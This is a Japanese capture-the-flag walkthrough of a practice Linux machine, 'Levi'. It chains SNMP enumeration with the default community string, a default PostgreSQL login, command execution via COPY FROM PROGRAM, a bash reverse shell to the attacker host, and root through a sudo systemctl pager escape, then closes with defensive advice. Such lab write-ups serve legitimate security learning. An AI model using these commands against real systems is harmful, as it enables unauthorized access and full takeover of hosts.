Levi 攻略 - SNMP Walk から COPY FROM PROGRAM #
今回はLinuxマシンのEasyレベル、Levi(リヴァイ) を攻略していきます。Easyだけあってかなり簡単なので、初学者の方は力試しに何も見ずに解いてみると面白いかもしれません。
なお、いつも通りのポートスキャンでは面白くないので、今回は別のやり方で稼働しているサービスを特定する方法もご紹介します。
攻撃チェーン:
- Enumeration: UDPポートスキャンで SNMP (161/udp) を発見
- Foothold: SNMP walk → PostgreSQL のプロセス情報取得 → デフォルト認証で接続 →
COPY FROM PROGRAMで RCE - TTY Upgrade:
python3 pty.spawn+stty raw -echoで nc リバースシェルを完全なTTY化 - Privilege Escalation:
sudo systemctl(NOPASSWD) を GTFOBins の手法で悪用して root
1. Enumeration #
1.1 自分のIPアドレス確認と環境変数化 #
それでは始めていきましょう。まずは作法として、自分のIPアドレスを環境変数に入れておきます。こうすることで今後の作業が楽になります。
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:1f:b7:23 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.106/24 brd 192.168.56.255 scope global dynamic noprefixroute eth0
$ export IP=192.168.56.106
$ echo $IP
192.168.56.106
1.2 ターゲットIPの特定 (netdiscover) #
ターゲット端末のIPアドレスを特定します。方法はいろいろありますが、私はよく Nmap や netdiscover を使います。今回は netdiscover を使っていきます。
$ sudo netdiscover -i eth0 -r 192.168.56.0/24

候補が二つ出てきましたが、MACアドレスを確認したところ 192.168.56.50 がターゲットでした。こいつも targetIP として環境変数に入れます。
$ export targetIP=192.168.56.50
$ echo $targetIP
192.168.56.50
1.3 UDPスキャンでサービス特定 #
次にポートスキャンを実行して稼働しているサービスを探っていきますが、いつも同じTCPスキャンでは面白くないので、今回はUDPスキャンで攻撃に利用できるサービスを特定していきます。
$ sudo nmap -sU --top-ports 20 $targetIP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-02 07:19 -0400
Nmap scan report for 192.168.56.50
Host is up (0.0035s latency).
PORT STATE SERVICE
53/udp open|filtered domain
67/udp open|filtered dhcps
...
161/udp open snmp
162/udp open|filtered snmptrap
...
MAC Address: 08:00:27:A1:AC:90 (Oracle VirtualBox virtual NIC)
ターゲット端末に対してUDPスキャンを行うと、snmp (161/udp) が稼働している ことが分かります。こいつを利用してみましょう。
💡 SNMPについて軽く解説
SNMP には v1 / v2c / v3 がありますが、そのうち v1, v2c には脆弱性 があります。具体的には、
- 認証が community string という単純な文字列のみ
- デフォルトの community string が
public(read) やprivate(write) のまま放置されがち- 通信が平文
このため、community string を当てるだけでシステム情報・プロセス一覧・ネットワーク情報などが大量に抜けてしまいます。
2. Foothold / User Flag #
2.1 SNMPで情報抽出 #
まずは王道のデフォルト community string public を試します。
$ snmpwalk -v2c -c public $targetIP | head -30
iso.3.6.1.2.1.1.1.0 = STRING: "Linux levi 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (66950) 0:11:09.50
iso.3.6.1.2.1.1.4.0 = STRING: "Levi Ackerman"
iso.3.6.1.2.1.1.5.0 = STRING: "levi"
iso.3.6.1.2.1.1.6.0 = STRING: "Wall Maria"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
...
⚠️ SNMP接続成功! community string
publicがデフォルトのまま使われている。💡
snmp-checkを使うとより読みやすい出力になります:snmp-check -c public $targetIP
ホスト名が levi、管理者名が Levi Ackerman、ロケーションが Wall Maria …進撃の巨人ファンには嬉しいヒントですね。
次にプロセス情報を抜きます。これがミソで、起動中プロセスのコマンドライン引数 が見えるため、そこからパスワードや動作中のサービスを特定できることがあります。
# プロセス一覧 (HOST-RESOURCES-MIB)
$ snmpwalk -v2c -c public $targetIP 1.3.6.1.2.1.25.4.2.1.2 | head
# プロセスの引数 (パスワードが見えることも)
$ snmpwalk -v2c -c public $targetIP 1.3.6.1.2.1.25.4.2.1.5 | head
出力例:
HOST-RESOURCES-MIB::hrSWRunPath.1234 = STRING: "/usr/lib/postgresql/14/bin/postgres"
HOST-RESOURCES-MIB::hrSWRunPath.5678 = STRING: "/usr/sbin/apache2"
💡 PostgreSQL 14 が動作していることが判明。認証情報を推測するヒントになる。
2.2 PostgreSQLデフォルト認証情報で接続 #
今回はSNMP経由で PostgreSQL が動作している ことが分かりました。セキュリティ意識が低い環境ではパスワードを使いまわしていたり、デフォルトのまま変更されていないことが考えられます。
まずは PostgreSQL の超定番デフォルト postgres:postgres を試します。
$ psql -h $targetIP -U postgres -d postgres
Password for user postgres: postgres
postgres=# \l
List of databases
Name | Owner | Encoding
-----------+----------+---------
postgres | postgres | UTF8
...
⚠️ PostgreSQL接続成功! デフォルト認証情報がそのまま使われている。
💡 PostgreSQLで試すべきデフォルト認証情報:
postgres:postgrespostgres:passwordpostgres:(空)admin:admin
2.3 COPY FROM PROGRAM で RCE #
PostgreSQL 9.3 以降は COPY FROM PROGRAM でシェルコマンドの結果をテーブルに取り込めます。これが RCE ベクターとして有名です。
postgres=# CREATE TABLE shell(cmd_output text);
postgres=# COPY shell FROM PROGRAM 'id';
postgres=# SELECT * FROM shell;
cmd_output
----------------------------------------
uid=109(postgres) gid=109(postgres) groups=109(postgres)
💡
COPY FROM PROGRAMは本来 postgres プロセスの shell でコマンドを実行してデータをインポートするための機能。認証された DB ユーザーだけが使えるが、それが RCE と同等になる。
これでリバースシェルを取得します。
まずはKali側でncを起動し待ち構えます。
$ nc -lvnp 4444
listening on [any] 4444 ...
次にターゲット端末のシェルで以下を実行します。
postgres=# COPY shell FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/<ホストIP(環境変数ではなくIPアドレス)>/4444 0>&1"';
するとKali側のncでpostgres ユーザーとしてシェルが取れます。
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.106] from (UNKNOWN) [192.168.56.50] xxxxx
postgres@levi:/$
User Flag もこの段階で取得しておきます。
postgres@levi:/$ cat /home/postgres/user.txt
# (User Flag)
3. Privilege Escalation: sudo systemctl (GTFOBins) #
3.1 sudo権限確認 #
定番の sudo -l で確認します。
postgres@levi:~$ sudo -l
Matching Defaults entries for postgres on levi:
env_reset, mail_badpass
User postgres may run the following commands on levi:
(root) NOPASSWD: /usr/bin/systemctl
⚠️
systemctlが NOPASSWD で許可されている。サービス管理コマンドだが、GTFOBins で調べると悪用可能だとわかる。
3.2 リバースシェルのTTY化(前提作業) #
ここで一気に sudo systemctl を叩きたくなるところですが、まずシェルをTTY化しないと less 内のシェルエスケープが安定して動作しません。
COPY FROM PROGRAM から取った nc のリバースシェルは、ログイン時に以下のような警告が出るはずです。
bash: cannot set terminal process group
bash: no job control in this shell
これは 完全な制御端末 (TTY) を持たない簡易シェル であることを示しています。この状態だと、less / vim / sudo のような対話型コマンドの挙動が崩れ、systemctl の pager である less 内で !sh を実行してもシェルが落ちたり入力が通らなかったりします。
そこで、リバースシェルを疑似TTY化します。手順は以下です。
Step 1: ターゲット側で疑似TTYを起動
postgres@levi:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
postgres@levi:/$
⚠️ Levi では
pythonは入っておらず、python3のみです。python -c '...'を打つとCommand 'python' not found, did you mean: command 'python3' from deb python3と出るので注意してください。
Step 2: Kali側で nc を一時停止し、端末をRAWモードに
# ターゲット側で動いているシェル上で Ctrl + Z を押す
^Z
zsh: suspended nc -lvnp 4444
# Kali側に戻ってきたら以下を実行( "stty raw -echo; fg" を一行で)
$ stty raw -echo; fg
| 設定 | 意味 |
|---|---|
stty raw |
入力をそのまま相手側へ転送する(行バッファや特殊キー処理を抑制) |
-echo |
ローカル側で入力文字を二重表示しない |
fg |
一時停止したncセッションをフォアグラウンドに戻す |
これで矢印キー / Ctrl キー / Enter / 画面制御がそのままターゲットに届くようになります。
Step 3: ターゲット側で TERM と画面サイズを設定
fg で戻った先(ターゲット側)で以下を実行します。
$ export TERM=xterm
$ stty rows 40 columns 120
TERM=xterm…lessなどの pager が画面制御に使う端末種別の宣言stty rows / columns… pager に画面サイズを正しく伝えるための設定(無いと表示崩れや入力位置ズレの原因になる)
これで、sudo systemctl から起動される less 内のシェルエスケープが安定して動作する状態になります。
💡 なぜ必要なのか:
sudo systemctl自体は TTY 化しなくても起動はします。しかし pager であるlessは TTY 前提で画面を握るため、不完全なシェルでは入力が通らず、!shのシェルエスケープが落ちます。脆弱性は/usr/bin/systemctlの NOPASSWD 設定で、TTY化はそれを安定して悪用するための前処理にすぎません。
3.3 GTFOBins で systemctl の悪用 #
systemctl (引数なし、または status など出力が長いサブコマンド)は出力を Pager (デフォルトで less) で表示 します。sudo で起動されると less も root 権限となり、less 内でシェルエスケープ が可能です。
# GTFOBinsのsystemctlエントリの1つ
postgres@levi:/$ sudo systemctl
(systemctlコマンド一覧がlessで表示される)
# less内(: の状態)で以下を入力してシェルエスケープ
!/bin/sh
less の !command は外部コマンドを実行する機能で、ここから起動した /bin/sh は親の less(=root権限の systemctl の子)から fork されるため、そのまま root シェルになります。
# id で確認
# id
uid=0(root) gid=0(root) groups=0(root)
# Root Flag
# cat /root/root.txt
c74846012c0c118d62905995f2e874ec
✅ Root Flag 取得!
💡 他の手法: pager が起動されない場合 (出力が短い) は
SYSTEMD_PAGER=/bin/shとしても RCE 可能。 例:sudo SYSTEMD_PAGER=/bin/sh systemctl💡 もう一つの手法: 悪意の systemd unit ファイルを作って
systemctl linkで読み込み、systemctl startで root 権限で実行させる。
⚠️ ハマりどころ:
!shでも環境次第で動きますが、不完全TTYでは!/bin/shの方が安定します。「sudo systemctlまで行ったのにシェルが落ちる/入力できない」場合は、ほぼ確実に 3.2 のTTY化を飛ばしている のが原因です。
4. 攻撃パスまとめ #
| Step | フェーズ | アクション | 結果 |
|---|---|---|---|
| 1 | Enumeration | netdiscover でターゲットIP特定 | 192.168.56.50 |
| 2 | Enumeration | UDP top-ports スキャン | 161/udp (SNMP) 発見 |
| 3 | Foothold | snmpwalk でシステム情報取得 | community public 成功 |
| 4 | Foothold | snmpwalk でプロセス引数取得 | PostgreSQL 14 稼働を確認 |
| 5 | Foothold | psql でデフォルト認証 | postgres:postgres で接続成功 |
| 6 | Foothold | COPY FROM PROGRAM | postgres ユーザーで RCE |
| 7 | TTY Upgrade | python3 pty.spawn → Ctrl+Z → stty raw -echo; fg → TERM=xterm / stty rows 40 columns 120 |
完全TTY化 |
| 8 | PrivEsc | sudo -l 確認 | systemctl が NOPASSWD |
| 9 | PrivEsc | sudo systemctl + less 内 !/bin/sh |
uid=0(root) 取得 |
5. 学んだこと・今後の対策 #
攻撃側の学び #
- TCPスキャンだけでは見落とす サービスがある (今回はSNMPがUDP)。
-sUを加えるだけで攻撃面が大きく変わる - SNMP v1/v2c は community string
publicを試すだけで 多くの情報が抜ける - プロセスの引数 (
hrSWRunPath,hrSWRunParameters) は パスワードや稼働サービス特定 の宝庫 - PostgreSQL の
COPY FROM PROGRAMはDBユーザー権限さえあればRCEに直結する sudo -lで許可されたコマンドは GTFOBins をまず確認するのが鉄則- nc のリバースシェルは"完全なTTY"ではないため、対話型コマンド(
less/vim/ pager 経由のシェルエスケープ)を使う前に必ずpython3 pty.spawn+stty raw -echoでTTY化する。脆弱性そのものではなく 悪用の安定性に効く前処理
防御側の学び #
- SNMP は v3 にする、または community string を強固な値に変える、ACL でアクセス元を制限する
- PostgreSQL のデフォルト認証情報を必ず変更する。
pg_hba.confで接続元を制限する sudoでsystemctlを NOPASSWD で渡さない。本当に必要なサブコマンドだけ許可する- SNMP・DBサービスを外部に晒さない (ファイアウォール / バインド設定)
Easy ですが、
- TCPだけ見ていると気づかない UDPサービスの重要性
- SNMP → 認証情報推測 → DB → RCE というチェーン
- GTFOBins の典型的な悪用
が一気に学べる、教材として非常によくできた一台でした。
次回もお楽しみに。